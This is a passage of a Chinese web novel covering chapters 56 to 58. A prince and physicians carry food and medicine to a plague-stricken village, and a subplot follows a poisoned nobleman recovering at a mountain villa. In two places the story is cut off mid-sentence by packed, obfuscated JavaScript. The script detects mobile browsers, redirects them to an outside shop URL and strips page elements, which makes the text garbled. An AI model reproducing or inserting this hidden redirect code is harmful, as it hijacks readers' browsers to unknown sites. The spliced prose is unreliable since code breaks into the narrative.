都转身走出去好几步,想起小时候的种种,子瞮又停下脚步,回头敲了敲鬼机灵的房门,温声道:“小灵,你好好想想我说的话,和你没关系的事情,你没必要冒着生命危险横插一脚,无论是我还是小七,还是师父,都不值得你这样做。” 回应他的是无边的寂然。 “……小灵,我先走了,你…尽快离开吧。” 话落,子瞮不再停留,转身快步离去。 ———— 纪灵也就是鬼机灵,身高173,双性,邹瑅官配。 56.辽炀卷·第十一章 11 子瞮很轻易就找到了邹瑅。 原因无他,疫病患者都已经躺下,提着烛火站立着的也就只有邹瑅和林旭两人。 还未靠近,就听邹瑅笑问:“这么快就回来了?纪姑娘的药方如何,可用吗?” 子瞮一愣,两人压根没讨论什么药方,但他习惯了伪装,谎话也是张口就来。 他摇头,“此次疫病是因为饮用浸泡过腐烂尸水的水而引发,和以往的多有不同,前人留下的药方只能用作参考,并不能直接套用,想要彻底根治疫病,恐怕还需要不少时日来研究。” 林旭赞同点头,“所需的药材也不是个小数目,十车远远不够,”他从怀中拿出一叠厚厚的纸张交给邹瑅,“我们根据古方罗列了一些必须的药材,还望殿下呈给圣上,请圣上命人加急从瀚海城等地收罗药材送来。” 邹瑅大概看了几眼,只识得其中十之一二,他又转交给子瞮。 子瞮逐一看过,这才对邹瑅点点头,并将清单交给他。 邹瑅收好清单,看向林旭,“好,我会尽快上报父皇,早日运来所需药物。” “小人替怀鹤乡万余人谢过殿下大恩。”林旭说着就要跪下,但被邹瑅拦了下来,“是我要替这些百姓谢过你们这些医者才对。” 三人继续往前走,来到一个偏远的院落,却在邹瑅打算迈上台阶进去时,林旭伸手拦住了他。 邹瑅疑惑看向林旭,就见林旭顾虑道:“屋中都是重症的患者,不但病气重,身上还有多处腐烂,殿下还是不要靠近为好。” 说着,林旭求助看向子瞮,邹瑅也跟着看向子瞮。 子瞮轻嗅了嗅,一股腐烂的气味扑鼻而入,呛得他咳嗽不止。 这一下,两人都被吓得不轻,邹瑅箭步上前,为子瞮抚背顺气。 “怎么样,有没有事?” 林旭则想隔开两人,“殿下身负重任,子瞮还是交给小人照料吧。” 子瞮缓过劲来,先拉开和邹瑅的距离,这才道,“臣无事,谢殿下关心。”又说,“林府医所言不错,这院中病气太重,殿下还是不要前往。” “那你呢,”邹瑅担心子瞮的身体,伸出手又要上前,但被林旭拦住了,“殿下,我们先离开此处吧。” 林旭又道:“我等初次接触这些重症患者时也是这样,这么多日过去,我等都并未染病,何况子瞮还是神医的高徒,定无大碍。” 子瞮点头,“殿下,我们先离开这里。” 说着,他保持着和邹瑅两步远的距离,快步走在前面带路。 如此,邹瑅只得跟着离开。 刚走到前院,就听到敲锣声,子瞮最先反应过来,“殿下,应该是肉汤煮好了。” 邹瑅嗯声,抬头对屋顶上吩咐道:“杜英亮,你等做好防护,再喊上一些青壮去搬汤羹来分发。” “将里面的药酒均匀洒在身上再接触外面的人。” 在林旭的错愕下,又见子瞮取下腰间的皮革酒袋抛上前,一个黑影闪过,酒袋不翼而飞。 那黑影只应了声‘诺’,在林旭意想不到的地方,又冒出数道黑影,追随着很快远去。 见林旭还没反应过来,邹瑅解释了句,“他们是我的暗卫,你不必惊慌。” 林旭片刻才反应过来,“小人有惊无慌,更多的是震撼。” 邹瑅笑笑,想到林旭之前说的,再次问道:“病患互相照顾难免有心无力,当真不需要我号召一些健康人来照顾病患?” 林旭摇头,“这宅邸中的人已经足够多了,再来一些人,气息不流通,恐只会让疫病再次爆发。” 子瞮也道:“殿下放心,臣随殿下在诸多人前露过脸,若真到了人手稀缺的时刻,臣凭殿下的声望,想必也能号召来一些人手。” 邹瑅一想也是,就没再争论。 让林旭去喊人来准备分发食物,两人离开钱宅,用子瞮提前配置的药酒去过病气后,才又去了府衙。 两人到的时候,府衙外已经排起了长队,两边的灯笼也亮了起来,终于不再是一片死气沉沉的模样。 不知是谁喊了一声“殿下来了!恩人来了!”顿时跪倒一大片,感恩戴德的话说了又说。 跪下谢他的人太多,但这都是邹瑅分内的事,他实在受之有愧,他连忙伸手去扶,却越扶跪下的人越多,无奈,他只好快步去到分肉的台阶上,高声让众人快快起来,又说这都是陛下的旨意。 于是,众人又跪下高呼‘皇上万岁!’。 气氛都烘托到这份上,邹瑅只好等众人激动的情绪稳定下来,才出声喊大家排好队,继续分肉。 猪就只有五头,要分给万余人,每人根本分不到多少。 孙忠两人都是从战场上下来的,这种经历太多,两人果断将猪肉都剁成肉沫,又加入一些米面一锅炖。 也正因为两人这样的做法,饿了许久的怀鹤乡众民才不至于反胃呕吐,也能都沾到些荤腥。 事后,邹瑅也喝了半碗,这肉粥其实并不好吃,但邹瑅一夜之间听到了很多夸赞,仿佛这不是普通的肉粥,而是罕见的佳肴一般。 监督了一会儿,见无人捣乱,邹瑅和子瞮又去到钱宅。 这里的肉粥也陆续送了过来,几位医者在维持秩序,却唯独不见纪灵的身影。 邹瑅停下脚步对子瞮说:“子瞮,你也去帮忙吧。” 子瞮一愣,“殿下?” 邹瑅欲盖弥彰打断他:“我就四处看看,不会乱走,我有分寸。” 子瞮听得更是一头雾水,但不等他再说什么,邹瑅已经顺着回廊大步走了。 子瞮想追上去,脑袋里又突然冒出鬼机灵灵动的身影,初次重逢时被他忽略的画面也越发清晰。 他瞬间明白了邹瑅的用意,一时万分为难,但纠结良久,还是没有追上邹瑅的脚步。 再说邹瑅,他顺着人声漫无目的走了很久,终于,找到了那道蓝色的倩影。 纪灵蹲在一个老妪面前,拿着勺子正耐心喂老妪吃着肉粥。 虽然隔着面罩,虽然只是侧脸,但在邹瑅看来,是那么的温柔漂亮。 他不由得看得迷了。 “姐姐,有个哥哥看了你好久。” 孩子清脆的声音让纪灵和邹瑅都是一惊,纪灵回头看去,正好看到邹瑅慌乱躲闪的模样。 邹瑅慌乱不已,纪灵却坦然从容,“殿下怎么会来这里?” “纪姑娘,”邹瑅整个人都快熟透了。 纪灵清脆笑道:“既然殿下来了,就过来帮帮忙吧。” “好、好!”邹瑅同手同脚上前,引得屋中几个小孩都咯咯笑了起来,邹瑅更加慌乱。 纪灵也轻笑出声,邹瑅也终于走到她身边,“纪、纪姑娘,我能做、做什么?” 纪灵将手里的没喂完的小半碗肉粥塞到邹瑅手里,“冯婆婆双臂折断抬不起来,你来喂冯婆婆吃吧。” 冯婆婆虽没什么见识,却也看得出邹瑅这一身的不凡。 她连连摇头,“老婆子卑贱,让纪姑娘照顾就已经是烧了高香了,哪敢再让官爷动手。” “官爷,您将碗放到地上,老婆子我自己舔着吃就好。” 邹瑅心中一阵不忍,连忙伸手按住冯婆婆,“婆婆,为官者更该胸怀天下、心系万民,我奉皇上旨意来到利州赈灾,就是要救大家脱离苦海,别说是喂你吃碗粥,就是为你们丢了命,那也是我的荣幸。” 此话一出,纪灵和冯婆婆都是一愣。 冯婆婆愣愣看着他,“使不得使不得,” 邹瑅却温柔笑道:“使得的,还是说,婆婆不喜我带来的这肉粥。” “这么好的吃食,怎么会不喜,喜欢的,喜欢的……我儿媳死之前就说想吃肉,我这个做娘的没用,没能给她吃上,她就带着我那还未出世的孙儿一同去了……”她说着说着,那双浑浊的双眼中就流出泪来。 邹瑅的心中也很难受,再说不出什么话来,只伸手轻柔为她擦去眼泪,又舀起一点点粥,递到她面前,耐心等她缓过来,才仔细着喂她吃下。 纪灵将他的举动尽收眼底,心绪很是复杂。 但他什么也没说,什么也没做,很快收回视线,转身蹲在一个手臂受伤的孩子面前,端起碗拿过勺子,小口小口喂她吃。 女孩笑得甜美,“谢谢姐姐。” 纪灵伸手摸摸她的脑袋,“不客气,乖,快吃。” “嗯嗯。”女孩满足笑道,“好吃!” 纪灵一边喂她吃,一边又回头看向邹瑅,“真要感谢,那你们得多谢这位殿下哥哥。” 邹瑅闻声转过头去,就对上纪灵弯弯的笑眼,邹瑅的心再一次不受控的怦怦直跳。 几个孩子齐声开口,“谢谢殿下哥哥!” 满是童真的感谢让他更是觉得有愧,整个人一时无措。 “都、都是我该做的。”结结巴巴说着,他连忙回过头继续喂冯婆婆吃粥。 一个小男孩笑道:“上次来的那个哥哥说准了,下一个哥哥来的时候,我们果然都能吃上肉了!” 不用问,他口中的哥哥多半就是邹杲。 又听纪灵照顾着的小女孩不舍问:“殿下哥哥,你会像三天前来的那个哥哥那样,很快就又走了吗?” “那我们又要饿肚子了吗?” 此话一出,小孩们开心的情绪变得低落。 碗中的粥见底,冯婆婆先感激笑着说:“老婆子我吃饱了,贵人不用再顾虑我。” 如此,邹瑅才放下碗勺,起身走到小女孩身边。 他太高,小女孩又是坐着的,他就这么席地跪在小女孩身旁,弯着腰和她说话。 “我也会离开,”女孩眼中已经蓄满了泪水,邹瑅抬手摸了摸她油腻的脑袋,“但我是要去救更多人。等救下更多人,我还会回来看你们,我不在的这些日子,我会派人给你们送吃的来,保证你们都不再饿肚子,不哭,好吗。” 小女孩抽泣着问:“真的吗?” 小女孩才五六岁的年纪,又瘦又小,哭得人心都碎了。 “我爹爹也是这样说的,他就再也没回来,娘亲也死了,就剩我一个人了……” 一时间,屋里都是小孩们难过的哭声,其中,还夹着成大人压抑的抽泣声。 邹瑅太心疼了,伸手就想抱抱小女孩,但被一旁看着的纪灵抓着手臂拦下了。 纪灵摇头,示意他不可如此接触,见他不会再妄动,才放开他。 纪灵又看向小女孩,声音温柔似水,“娥娥不哭,抬起头来看姐姐,” 女孩抬起左脸颊又一块指甲盖大小腐烂伤口的脸,纪灵这才又说:“但是殿下哥哥的确给我们带来了好吃的食物,是不是?” 娥娥点头,其余小孩也陆续停止了哭泣。 纪灵又说:“所以,殿下哥哥是不是比你爹爹更加厉害?” 几个小孩七嘴八舌说是。 纪灵这才笑着说:“所以,我们要相信殿下哥哥,殿下哥哥一定会救下更多人,也一定会让我们吃饱饭,还赶走你们身上的病鬼,让大家都健健康康,是不是?” 他们齐声应是,情绪又高涨起来。 “好了,还有谁没吃饱,举手,殿下哥哥再给你们添,快点,先到先得哦!” 好几个小孩举手,一声喊着‘殿下哥哥’,灵动乖巧,但他们裸露在外的皮肤上那触目惊心的伤痕又让人心疼万分。 邹瑅愣愣看着纪灵,半天没缓过劲来。 还是纪灵推了推他胳膊,笑道:“殿下哥哥,快去给大家分肉粥吧。” 邹瑅闹了个大红脸,结巴应了声好,手忙脚乱爬起身,去将桶里剩下的肉粥分给众人。 一番忙碌,两人收拾好碗筷用具,才肩并肩往外走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“殿下和我想象中的很不一样。”纪灵突然开口。 邹瑅一愣,不由得警惕起来,“你早就知道我?” 纪灵笑着侧头望向他,没立刻辩解,而是取下了脸上厚重的面罩。 一张比邹瑅想着中更加朴素漂亮的脸完全映入邹瑅的眼眸,他呼吸一滞,心脏又不争气的怦怦跳了起来。 纪灵笑得更加灿烂,“殿下美名在外,想不知道都难。” 她话音一转,“但我说的不一样,是我以为,殿下身为皇亲贵胄,生来就是高人一等的,或许的确有些仁善之心,但坊间所传颂的事迹,却是美化后的传言,而非原貌。” 她顿了顿,笑着又说:“但据我刚刚观察,殿下似乎的确仁善,您贵为皇子,将粮药送达,忍耐着同那些未染病说些收拢人心的话也就罢了。而您却深入病患之中,照料贫民,安抚人心,比起皇亲贵胄,更像贫民中爬出去还不忘根本的高尚之士,真的很了不起。” 邹瑅被夸得人都快熟了。 “我哪有你说的那么好,只是做些力所能及的事罢了。” 纪灵笑着看着他,“那殿下便去做更多您认为的力所能及的事吧。” 她说着,手一转,变戏法一样,将一个黄灿灿的柿子递到他面前,“连日暴雨,虽然熟了,但估计不怎么甜,殿下不嫌弃就送给殿下了。” “谢谢。”邹瑅傻愣愣接过,手蹭了蹭,取下面罩就想往嘴里塞。 纪灵一惊,连忙按住他的手,邹瑅还愕然呢,就听纪灵好笑道:“又没让你立刻告诉我是什么味道,才接触过病患,好歹等仔细洗过再吃。” 邹瑅窘迫不已,脸又红又烫,不敢看纪灵的眼睛。 纪灵却从腰间几个香囊中取下一个最简朴的递到他鼻息之间,“这个殿下可以马上知道味道,就送给殿下了吧。” 是纪灵身上的花香与淡淡药香,很舒服。 “我来到这里前特意花了大价钱配制的,”纪灵颇为骄傲说,“不但能安神,还可以去除一些病气。” “这……我受之有愧”邹瑅说着就要还给她,纪灵却直接挂到他的腰间,“算做是殿下让我们不饿肚子的回礼了。” 都这么说了,虽然不和礼数,但邹瑅也只能收下了。 纪灵回过头又看向绚丽的天边,恬静的侧颜让邹瑅心动不已。 两人就这么静静坐着,等太阳完全升起,纪灵才先一步跳到树下,伸展着腰肢说:“好快,天完全亮了。” 她笑着看向邹瑅,“我要回去睡会儿,殿下去救更多人吧。” 说罢,也不等邹瑅说什么,她面对他笑着挥着手后退着离开,走出去一丈远,才缓缓转身身去,快步离去。 邹瑅追上去了两步,但想到自己的职责,还是又停了下来,只站在原地目送她走出视野,才戴上面罩,握紧柿子转身离开。 在外院碰到不知道等候了多久的子瞮,见他面容憔悴,邹瑅担心不已,“怎么不让他们给你安排间屋子休息?” “安排了的,臣不知道殿下何时离去,特意在此等候殿下。”子瞮瞬间闻出他身上属于鬼机灵的香味,再一看,就看到了他腰间和他的衣着比起来过于简单的香囊。 想到子瞮和纪灵的关系,邹瑅有些难为情,欲盖弥彰解释说:“纪姑娘说这香囊能安神健体,避免我染上疫病,这才将它送给我。” 见子瞮不答,他连忙转移话题又问:“你刚刚说特意在这里等我,怎么了,是还有什么事情要和我说吗?” 子瞮苦涩摇头,“此次一别不知道多久才能再见,臣只是想送送殿下。” 邹瑅闻言,也有些伤感,但他上前拍拍子瞮的肩膀,“需要什么就写信给我说,我有时间也会过来看你…别送了,回去休息吧。” 子瞮点头应好,却没转身离去。 邹瑅叹了口气,只能转身先走,潜藏在屋顶上的杜英亮等人唰唰跟上,很快,就不见了身影。 子瞮又站定了许久。 57.辽炀卷·第十二章 12 浩然避暑山庄,还是那个水榭中。 一碧影正挥墨作画,不过寥寥几笔,山林脉络跃然纸上。 很快她又换了只笔,在楼台之上细细勾勒起人物轮廓来。 作画的人,正是邹瑅来时,虚弱不堪的江沁月。 和见邹瑅那日不同,她今日更加随意,未蒙上绡纱的一双眼眸虽呈现不正常的灰蒙,却并不显丑陋,反而更似平静幽暗的深泉,更添神秘之感。 她的确有旧疾,前几日也的确因为救人而复发,但毕竟是一代江湖豪杰,底子还是有的。 水榭中,除了她,还坐着一个中年男子,男子端着一杯酒,也没喝,就那么一瞬不瞬看着江沁月作画的背影。 再仔细一看,水榭以外,层层莲叶之间,还依稀可见一个后脑勺。 那后脑勺的主人好似浮尸一般,手脚舒展泡在水池深处,只余一个后脑勺让人知晓他的存在。 又过了一会儿,江沁月笔下的身形勾勒完毕,只有墨色,但很明显是一个挥剑冲杀的将军。 江沁月回头问中年男人,“多久了?” “我数忘了!”男人大骇,丢下碧玉雕的酒杯就跳进池中去捞人。 江沁月宽袖一甩,衣料将酒杯中的酒水尽数拍出,而后稳稳将酒杯接住,勾回放到石桌之上。 很快,汪修蕴也提着一身形高大的男人回到她面前。 男人脚才落地,汪修蕴就松了手,后退几步又是擦手,又是掸衣物上不存在的水珠。 江沁月剜他一眼,虽然同样嫌弃,但还是上手接住了腿脚无力、差点摔跪下去的年轻男人。 男人没大事,自己咳了几声,呛出几口水,也就缓了过来。 男人抬起虚弱的脑袋看向江沁月,“江姨,劳烦扶我坐下。” 江沁月扶他过去坐下,又伸手拨开黏在他脸上的头发,露出他的面容来,此人不是邹杲又能是谁。 “把自己弄成这样,你究竟在等什么?”江沁月叹气,还有些无奈,但还是拿起桌子上的莲蓬剥出莲子给他吃,“先去虚无岛把毒解了再做不行吗?” 邹杲没正面回答,只是乖巧笑着朝江沁月伸出手,“谢谢江姨。” 江沁月没好气看他一眼,手中剥好的一颗莲子直接扔到了他嘴里。 邹杲故意发出很大的动静咔嚓咔嚓嚼着,口齿含糊不清夸道:“好吃,江姨剥的果然就是要更甜一些。” 旁边的汪修蕴闻言也来凑热闹,“姐,我也想吃更甜的莲子。” 江沁月直接将剥下来的壳砸到汪修蕴身上,砸得他嗷嗷直叫,眼神心疼又委屈,心疼是给他的新衣服的,委屈是装给江沁月看的。 江沁月一边继续剥莲子给邹杲吃,一边问汪修蕴,“外边怎么样了?”说着,还随手丢了颗莲子到汪修蕴嘴里。 汪修蕴笑逐颜开,“姐剥的果然更甜。” 他上前坐下,看了眼邹杲又说:“大外甥放心吧,外面平静得很,治水捞人的治水捞人,治病救人的治病救人,根本没人捣乱生非。” 邹杲感激笑笑,拿过酒壶倒了杯酒双手递给汪修蕴,“那就好,但不可懈怠,还需舅舅让手下人多多上心。” 汪修蕴接过酒喝了,算是答应了他的请求。 但汪修蕴也没忍住问出了和江沁月类似的话,“你给舅舅透个底,你到底还有什么大事要干,能比你的命还重要吗?” 邹杲不语,看向江沁月。 江沁月蓦然,“看我做什么?我巴不得你赶紧走,可从没拦过你。” 邹杲笑笑,又看向江沁月还未完成的画作。 “江姨画中人是谁?阿瑅,玙哥,还是我义父?” 江沁月面容一滞,脸上笑意全无,显然是想起了不好的往事。 汪修蕴急了,起身伸手就要给邹杲几下子,“你个臭小子,哪壶不开提哪壶,走,我带你回去更衣。” “修蕴,”江沁月叫住他,又看向邹杲,“告诉你我与晚樱他们年轻时的往事,是不想你被仇恨蒙蔽、被奸人利用。” 邹杲笑着点头,“嗯,我知道江姨的良苦用心。” “你不知道!”大多时候都无波无澜的江沁月情绪有些激动。 汪修蕴被惊了一跳,连忙转身去安抚她,“姐,消消气,别和这臭小子见识……” 江沁月抬手将他拦住,看向邹杲又说:“你父亲的确到死都与当年的邹稷情同手足、无话不说,他们有共同的远大抱负,一直在为之努力,你的父亲甚至还因为这个缥缈的远大抱负付出了性命。” “但是姜茭,人心易变,何况邹稷还在那肮脏的大染缸中浸染多年,对现在的邹稷而言,巩固邹姓皇权才是他的第一要务,为之他可以牺牲他的亲生儿子,何况是你这个义子。你就算要子承父业,也该劫富济贫,而非赌上自己的生死为邹稷卖命。” 邹杲情绪依旧稳定,他甚至淡淡笑了笑,“江姨说得都很对,但有一点,玙哥的早逝是意外,而非义父算计之中的牺牲。” 汪修蕴闻言大惊,一边给邹杲使眼色让他少说两句,一边关注着江沁月的举动,生怕她气晕过去。 但出乎他意料的,江沁月反而平静下来。 她抹去掉落的眼泪,哽咽说:“不管因为什么,阿玙人就是已经死了,他甚至不知道我才是他的母亲,没有感受过我哪怕片刻的呵护。” 邹杲衣物上的水汽已经被他自身散发的热气烘干了,他起身坐到江沁月身边,虚虚揽住她,“江姨,天下分裂的百余年间,四国互相侵扰吞噬、战争不断,若是没有玙哥的牺牲、没有义父倾尽一切完成一统,还将会有无数像你这样失去孩子的母亲。否则,你也不会多次在暗中给义父助力,不是吗。” 江沁月泣不成声,她当然都知道,她曾经也为之努力,但孩子的死让她始终没法释怀。 “姐,”汪修蕴欲出声安抚,但被邹杲打断。 “江姨,你还有阿瑅,找个时间去和阿瑅见一面,把当年的真相都告诉他吧。” 此话一出,江沁月倒是逐渐缓和下来。 她推开邹杲,“烫死了,离我远点。” 邹杲笑着坐回原位,江沁月一边继续给他剥莲子,一边又说:“我的事我自有打算,不用你操心。你既然拿着我给晚樱的玉佩找上门来,就说明你信任我,既如此,你完全可以将你要做的事情告诉我,我来帮你做,至于你,赶紧先去虚无岛解毒。” 不等邹杲说什么,她咬牙切齿又说:“毒赋下毒最为阴毒,很多毒毒发过程中造成的损害都是不可恢复的,你身上的巨毒,我和修蕴合力都没法逼出分毫,还是尽快按他说的办法解去为妙。” 邹杲乖巧点头,“我知道的,我也很信任江姨,但很多事,只能我自己做。” 江沁月不说话了,剥好的莲子也不给邹杲吃了,全塞进了旁边汪修蕴的嘴巴里。 汪修蕴被灌得呜呜直叫,话都说不出来。 江沁月起身,“随你,你死在浩然山庄最好,省得我再派人去寻你的尸骨。” 说罢,她头也不回,转身离开。 汪修蕴叫着姐追上去,却被江沁月一袖子甩了回来,“都走了,谁送他回去?” 他坐在邹杲对面,没好气道:“都怪你!” 邹杲连连认错,“是,怪我给江姨和舅舅添麻烦了,那日我就该死在外面,说什么也不该倒在舅舅面前的。” 邹杲从金曲楼离开后就冒雨连夜赶往利州,听闻怀鹤乡爆发疫病,他知晓这些狗官一贯的做法,不顾阻拦,当即自己骑着千赤快马加鞭往怀鹤乡赶。 但他高估了自己,低估了无忧的毒性,才刚到利州的地界,他便气血上涌,晕了过去。 等他再醒来,人已经在浩然避暑山庄了。 汪修蕴带着人转移时看到了他腰间的金镶玉佩,这枚母亲临死前留给他、再三叮嘱他保管好的玉佩果然在关键时刻救了他一命。 汪修蕴没好气捂他嘴,但实在太热了,他连忙又收回了手,掐腰骂道:“你想恩将仇报就直说,这话让我姐和我闺女听到了,一个能扇死我,一个要烦死我。” 闻言,邹杲面露难色,“舅,你虽不是我亲舅,却胜似我亲舅,我只把元菱当妹妹,你与舅母好好劝劝她,俊朗的男子多了去了,何必在我一个将死之人身上浪费时间。” 汪修蕴的女儿名叫汪元菱,今年才十四岁,或许是年纪小,见到邹杲的第一面就夸邹杲好看,说要非邹杲不嫁。 越怕什么越来什么,汪修蕴还没来得及说话,少女欢快雀跃的声音就从远处传来,“爹爹,阿茭哥哥!” 顾不得烫不烫,汪修蕴抓起邹杲就想跑为上策,但是来不及了,汪元菱已经看到他们了。 “你们果然在寒池水榭里,”汪元菱手里端着一个砂锅,嗔怨道,“爹爹,你快来帮我端一下呀!” 她走得那叫一个急,给汪修蕴吓得不轻,当即丢下邹杲,施展轻功过去接到自己手中。 “小祖宗,你前天才烧了灶房,干什么又要亲自下厨啊!” 汪元菱蹦蹦跳跳来到邹杲面前,难为情揪着衣角撅嘴道:“烧灶房人家又不是故意的,只是个意外嘛!” 她又凑到邹杲面前,抱住邹杲的胳膊,“阿茭哥哥,我练习了好几次才终于煲出来的莲子羹,我舀些喂你尝尝好不好?” 邹杲不动声色把她的手拉开,拒绝的话还没说出口,汪元菱先用大汤勺舀了一大勺递到他面前。 “阿茭哥哥,你快尝尝!” 卖相挑不出毛病,但热气腾腾的,一口下去,肯定要起满嘴的泡。 “呃呵呵,我还不是很饿。”邹杲干笑着婉言拒绝,人直接被那大勺子逼得站起了身。 汪修蕴生怕那热羹不小心泼到邹杲身上,连忙放下砂锅,抢了过来,“正好爹饿了,给爹喝吧……嘶、啊,呸!咳咳咳……” “爹爹,砂锅里还有那么多,你为什么非要抢……” 汪元菱愠怒的话没说完,被汪修蕴一系列反应吓了一大跳,连忙上前。 “爹爹,你怎么了,爹爹!” 邹杲也是一惊,同情的同时又感觉到庆幸。 汪修蕴缓缓举起手,大着舌头说,“我没事,给我几颗生莲子,我压压就好。” 汪元菱都急哭了,手忙脚乱,半天也没能剥出一颗。 邹杲默默剥了五六颗递给他,不等汪元菱露出感激的目光,又连忙退到了旁边的柱子后。 几颗冰凉的莲子入口,汪修蕴也终于缓过来。 汪修蕴看向泪眼朦胧的汪元菱,说教的话硬生生憋了回去,他温柔默默汪元菱的脑袋,“闺女啊,你生来就是享福的命,听爹的话,以后别去厨房祸害、转悠了。” 汪元菱更委屈,小嘴一撅哭了出来,“我想照顾阿茭哥哥嘛!” 汪修蕴想说人家有喜欢的人了,你换个人吧,又怕闺女哭得更大声,只能温声安抚说是爹错了。 邹杲叹气,也深知要快刀斩乱麻。 “元菱,”邹杲喊。 汪元菱一惊,连忙抬起头看向他,眼里都还含着泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823118|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,就笑得娇羞,“阿茭哥哥~” 邹杲严肃一些,“元菱,还记得吗,我早就同你说过的,我有心爱的人,我们互相深爱,约定非彼此不嫁娶。” 汪元菱有些蔫吧,但还是点了点头。 邹杲又说:“元菱,你是个很好女孩,同时你也还太年轻,你对我的情愫比起情爱,更像是好奇……” 汪元菱急声打断他,“不是,我就是喜欢你,喜欢到愿意不要八抬大轿、明媒正娶,男人不都是三妻四妾的吗,我自愿给你做小,自愿伺候你和你心爱的姐姐。” 邹杲和汪修蕴都是一惊。 见她说着要扑上前抱住邹杲,汪修蕴这个老父亲连忙上前拦在两人中间。 “闺女啊,你还不明白吗,阿茭这是只愿与他那心上人一生一世一双人。” 汪元菱哭着蛮横不讲理说,“两个人有什么好,三个人更热闹一些不好吗?” 邹杲哭笑不得,更觉她是小孩心性,此刻对自己的喜欢也只是一时兴起。 这就苦了汪修蕴这个老父亲了。 “爹爹你看,阿茭哥哥都笑了,他肯定也赞同我说的话!” 邹杲一惊,连忙收起笑意,摆出冷脸。 汪修蕴更加命苦,“闺女啊,人笑你好笑呢!” 汪元菱气得直跺脚,不等她说话,汪修蕴又说:“你要嫁他如果是奔着热闹去的,那改天爹给你找个妻妾成群的后宅,带你去好好热闹一下。” “爹爹!什么热闹嘛?人家是奔着阿茭哥哥这个人啊!” 汪修蕴更加无奈,“那就更没有可能了,人阿茭都明确说不喜欢你了,闺女……” 眼见无法收场,终于,老远听到王安呼喊‘王爷’的声音。 邹杲连忙应了声,喊他快过来,有要事和他说,王安闻言不敢耽搁,快步跑过来。 邹杲一边快步走向王安,一边对父女俩说:“舅舅,我还有要事要处理,” 话没说完,汪修蕴就先挥手驱赶:“去去去,赶紧去。” 王安不明所以,胳膊被压在他肩膀上的邹杲拍了下,才反应过来,连忙搀着邹杲离开这个是非之地。 邹杲拿出了最快的速度,奈何身体不允许,幸好有汪修蕴拦着,不然汪元菱还要追上来。 * 不知道走了多久,终于,再听不到汪元菱的声音,王安忍不住好奇问:“王爷,汪小姐对您一片真心……” 话没说完,邹杲推开他,冷脸看着他道:“类似的话我不想再听到,以后不要再提。” 王安大骇,连忙跪下认错,“小的不该逾越,求王爷恕罪。” 邹杲抬手示意他起来,“扶我过去坐下。”王安连忙起身扶住邹杲,才听邹杲又说,“不是逾越的问题…小棋儿魅力太大,追求者不计其数,我若不以身作则,有何脸面要求小棋儿只有我一人。” 他说着还笑了起来,也不知道想到什么回忆。 王安也跟着笑,想到邹杲让他打探的消息,有些踌躇,不知道要不要开口,只先扶着邹杲坐下。 见他人神色,邹杲不由皱眉,但还是敲敲桌面示意他坐下,同时说道:“小棋儿那边发生了什么新鲜事,你但说无妨。” 王安依言坐下,才结结巴巴道:“王爷,我们的人回报说,暗秋城水卉和丘炎二人又回到了金曲楼,李姑娘每日和他们出入施粥施药,举止很是亲密。” 邹杲的确有瞬间的失神,很快他又问:“还有别的吗?” 王安摇头,“李姑娘每日的行程很规律,除了施粥救治灾民,就是回屋休养练功。” 邹杲点头,“只要小棋儿安好便好,至于其他,待我解了身上的毒、去到她左右再说。” 王安不是很理解,明明自家王爷那么耀眼,一人之下万人之上,但在李姑娘面前,却把姿态放得越发的低。诚然,李姑娘武功高强、医术高明、背景强大,但天下女子,只要王爷想,什么样的得不到。 他想得正出神,就听邹杲仿佛看穿他心中所想一般,颇为骄傲道:“你孤身多年,不懂这种感觉很正常。” 王安默然,只隐隐感觉到自己好像被无形的兵刃攻击了一下。 又听邹杲笑着说:“待回到鄂阳,让虞崇宁也给你们张罗张罗,尤其是你,一大把年纪了,再不娶妻,真要孤独终老了。” 王安今年二十有九,一般男子这个年纪早都儿女双全,但他家人全部死在战乱之中,若非邹杲发现他还有一口气,救下了他,他也早就随家人一起去了。 王安闻言很是感激,一个大老爷们眼泪汪汪看着邹杲,仿佛下一秒就要哭出来,邹杲只觉起了一身鸡皮疙瘩,连忙又问:“在銮城丢的那批药找回来没?有没有影响到金曲楼?” 他摇头,结果邹杲递过来的茶水喝下,也调整好了情绪,这才说:“金曲楼帮着找回来了,还派出二十人护送,明日应该就能送到。真凶未能揪出,明眼人都知道这不可能是金曲楼的手笔,但过后,上面会不会借机向金曲楼发难,很难说。” 邹杲点点头,却并没有太担忧,纪敏和戎峥都不是等闲之辈。 “鄂阳那边可有什么异动?” 王安严肃起来,“二皇子因鸿秋塞事发被禁足府中,左相自请还官,但未得准许,皇上以担心他身体为由,每日派太医令丞带人前往,算是变相软禁。” “传信给杜英亮,让他们不要管其他,不能让阿瑅离开他们的视线片刻,务必保护好阿瑅。” “诺!”王安起身就要去传令,但被邹杲叫住,“等下……” 58.辽炀卷·第十三章 13 怀鹤乡,钱宅,厨院。 子瞮、鬼机灵、林旭三人正在挑选药物。 这些时日陆续从各地送来了药材,但都没能凑齐他们之前所列清单上的药物,只能用药性相近的药物替代使用。 到今日,能替代使用的再挑不出来了。 三人已经挑选了快一个时辰了,所有药物都翻遍了,能派上用场的药物还凑不齐一副药。 林旭拿着半把药草走向两人,沮丧道:“纪姑娘,大人,我这边都找过了,能用的就这些。” 两人闻声各种转过身来,手上的药物也少得可怜。 子瞮道:“我们需要的药物肯定已经在路上了,我去给殿下写信让他们加急送来。” 林旭悲痛说:“但愿能早日送来,我们能等,病患却等不了啊。” 子瞮不语拿起旁边桌面上的纸笔就要给邹瑅写信。 鬼机灵又转过身去,蹲在剩余一堆没法使用的草药中一一查看起来。 林旭看看子瞮,又看看纪灵,最终叹着气走向鬼机灵。 